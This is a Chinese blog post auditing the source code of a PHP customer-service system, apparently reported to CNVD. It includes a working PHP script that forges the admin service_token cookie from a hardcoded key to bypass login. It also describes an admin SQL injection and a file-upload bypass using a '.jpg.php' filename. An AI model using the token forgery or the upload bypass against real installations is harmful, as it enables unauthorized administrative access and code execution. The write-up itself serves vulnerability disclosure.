• php--莫客服系统代码审计(已申请CNVD)


    1绕过登录进入后台

     可以看见这里先验证是否存在service_token如果存在则进入admin/index/index方法

    我们跟进查看

     index是继承base的根据经验一般来说这些东西都是验证之类的

    跟进果不其然

     可以看见他这里uid的获取方法很奇怪是根据一个加密函数来获取的 我们看看这个方法是咋写的

    public function encrypt($string,$operation,$key='')
    	 {
    	 	    $key=md5($key);
    		    $key_length=strlen($key);
    		    $string=$operation=='D'?base64_decode($string):substr(md5($string.$key),0,8).$string;
    		    $string_length=strlen($string);
    		    $rndkey=$box=array();
    		    $result='';
    		    for($i=0;$i<=255;$i++)
    		    {
    		      $rndkey[$i]=ord($key[$i%$key_length]);
    		      $box[$i]=$i;
    		    }
    		    for($j=$i=0;$i<256;$i++)
    		    {
    		      $j=($j+$box[$i]+$rndkey[$i])%256;
    		      $tmp=$box[$i];
    		      $box[$i]=$box[$j];
    		      $box[$j]=$tmp;
    		    }
    		    for($a=$j=$i=0;$i<$string_length;$i++)
    		    {
    		      $a=($a+1)%256;
    		      $j=($j+$box[$a])%256;
    		      $tmp=$box[$a];
    		      $box[$a]=$box[$j];
    		      $box[$j]=$tmp;
    		      $result.=chr(ord($string[$i])^($box[($box[$a]+$box[$j])%256]));
    		    }
    		    if($operation=='D')
    		    {
    		      if(substr($result,0,8)==substr(md5(substr($result,8).$key),0,8))
    		      {
    		        return substr($result,8);
    		      }
    		      else
    		      {
    		        return'';
    		      }
    		    }
    		    else
    		    {
    		      return str_replace('=','',base64_encode($result));
    		    }
    	 }
    

     这里本来想通过uid来构造注入的因为其他的获取变量都被htmlse方法过滤了,return substr($result,8);只返回第8位或者把$result base64加密可想而知行不通 但是由于此方法中的$operation,$key=''被写死了,所以一个uid用户对应一个service token永远不变 那么就好办了 本地搭建或者构造解密算法如下

    <?php
    	 function decrypt($string,$operation,$key='')
    	 {
    	 	    $key=md5($key);
    		    $key_length=strlen($key);
    		    $string=substr(md5($string.$key),0,8).$string;
    		    $string_length=strlen($string);
    		    $rndkey=$box=array();
    		    $result='';
    		    for($i=0;$i<=255;$i++)
    		    {
    		      $rndkey[$i]=ord($key[$i%$key_length]);
    		      $box[$i]=$i;
    		    }
    		    for($j=$i=0;$i<256;$i++)
    		    {
    		      $j=($j+$box[$i]+$rndkey[$i])%256;
    		      $tmp=$box[$i];
    		      $box[$i]=$box[$j];
    		      $box[$j]=$tmp;
    		    }
    		    for($a=$j=$i=0;$i<$string_length;$i++)
    		    {
    		      $a=($a+1)%256;
    		      $j=($j+$box[$a])%256;
    		      $tmp=$box[$a];
    		      $box[$a]=$box[$j];
    		      $box[$j]=$tmp;
    		      $result.=chr(ord($string[$i])^($box[($box[$a]+$box[$j])%256]));
    			}
    			return str_replace('=','',base64_encode($result));
    
    	 }
    echo decrypt(1,'E','dianqilai_service');
    

     得到结果urldecode传递给cookie即可

    然后就获得了该用户所以的变量传递给了数组

     二后台sql过滤不严谨sql注入(实际环境并没有,纯属复现)

    对传入参数进行过滤的情况下但还是有情况没有用到自己定义的传参方法的 看见这里$key直接传入并且拼接select

    程序首先通过query的where方法里面的通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句。

     这里看见最后的完整语句造成了注入

     后台任意文件上传

     判断不严谨 直接判断是是点后面的第一个字符 我们可以11.jpg.php绕过。

  • 相关阅读:
    如何使用Arrays工具类操作数组
    Java 内存模型详解
    HashSet源码分析:JDK源码系列
    在ASP.NET Core中用HttpClient(六)——ASP.NET Core中使用HttpClientFactory
    在ASP.NET Core中用HttpClient(五)——通过CancellationToken取消HTTP请求
    在ASP.NET Core中用HttpClient(四)——提高性能和优化内存
    ASP.NET Core与Redis搭建一个简易分布式缓存
    在ASP.NET Core中用HttpClient(三)——发送HTTP PATCH请求
    在ASP.NET Core中用HttpClient(二)——发送POST, PUT和DELETE请求
    在ASP.NET Core中用HttpClient(一)——获取数据和内容
  • 原文地址:https://www.cnblogs.com/-zhong/p/13870045.html
Copyright © 2020-2023  润新知